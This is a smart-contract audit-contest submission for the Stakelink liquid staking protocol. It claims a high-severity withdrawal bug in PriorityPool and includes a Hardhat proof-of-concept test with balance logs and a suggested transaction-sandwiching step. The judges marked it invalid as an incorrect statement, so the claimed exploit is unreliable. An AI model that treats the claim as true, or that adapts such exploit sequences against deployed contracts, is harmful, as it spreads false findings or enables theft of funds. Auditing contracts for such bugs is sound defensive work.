Liquid Staking
Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Malicious actor can withdraw more asset tokens than he deposited

tejaswarambhe

Summary

The PriorityPool::withdraw function allows anyone to withdraw more asset tokens than they deposited.

Vulnerability Details

The function PriorityPool::withdraw lacks sufficient checks that allows a malicious actor to withdraw more tokens than deposited.

The steps to replicate the same are as follows:-

  1. Malicious actor deposits tokens via the PriorityPool::deposit function.

  2. A legitimate user also deposits his token via the same function.

  3. The malicious actor would now first withdraw by sending _shouldUnqueue as false and next by sending _shouldUnqueue as true by calling the PriorityPool::withdraw function.

  4. This sequence allows the attacker to withdraw more tokens than he ever deposited.

Even if the off-chain mechanism tries to prevent this by manually calling pause pauseForUpdate, it can be easily by-passed by sandwiching victim's transaction.

The attacker just needs to ensure the his withdraw transaction goes through as soon as user deposits tokens.

Proof of Concept

The below test was added in priority-pool.test.ts file.

it('Should be able to withdraw more than deposited', async () => {
const { signers, accounts, adrs, pp, token, withdrawalPool, stakingPool, strategy } = await loadFixture(
deployFixture
)
​
await stakingPool.connect(signers[1]).approve(adrs.pp, ethers.MaxUint256)
await stakingPool.connect(signers[2]).approve(adrs.pp, ethers.MaxUint256)
console.log("Before deposit token balance: " + fromEther(await token.balanceOf(signers[1].address))) // 10000
// Attacker deposits 2000 tokens
await pp.connect(signers[1]).deposit(toEther(2000), true, ['0x'])
​
await token.transfer(adrs.strategy, toEther(1000))
await stakingPool.updateStrategyRewards([0], '0x')
await pp.deposit(toEther(100), true, ['0x'])
// Legit user deposits 100 tokens
await pp.connect(signers[2]).deposit(toEther(100), true, ['0x'])
await strategy.setMaxDeposits(toEther(2700))
// anyone can call this
await pp.depositQueuedTokens(toEther(100), toEther(1000), ['0x'])
​
console.log("Initial Balance: " + fromEther(await token.balanceOf(signers[1].address))) // 8000
// Attacker first withdraws by passing _shouldUnqueue as false
await pp.connect(signers[1]).withdraw(toEther(400), 0, 0, [], false, false);
​
console.log("1 - Balance: " + fromEther(await token.balanceOf(signers[1].address))) // 8400
// Attacker then withdraws by passing _shouldUnqueue as true and _shouldQueueWithdrawal as true
await pp.connect(signers[1]).withdraw(toEther(1699), 0, 0, [], true, true);
await withdrawalPool.performUpkeep(
ethers.AbiCoder.defaultAbiCoder().encode(['bytes[]'], [['0x']])
)
​
console.log("2 - Balance: " + fromEther(await token.balanceOf(signers[1].address))) // 8500
// Finally withdraws the final amount from withdrawalPool
await withdrawalPool.connect(signers[1]).withdraw([1],[1]);
console.log("3 - Balance: " + fromEther(await token.balanceOf(signers[1].address))) // 10099
})
// Below are the console logs
// Before deposit token balance: 10000
// Initial Balance: 8000
// 1 - Balance: 8400
// 2 - Balance: 8500
// 3 - Balance: 10099

As we can see the attacker is able to gain extra 99 tokens.

Impact

Malicious actor can steal funds

Tools Used

Manual review
Hardhat

Recommendations

Instead of relying on a manual pauseForUpdate, it is recommended to pause the flow on-chain till further unpause.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.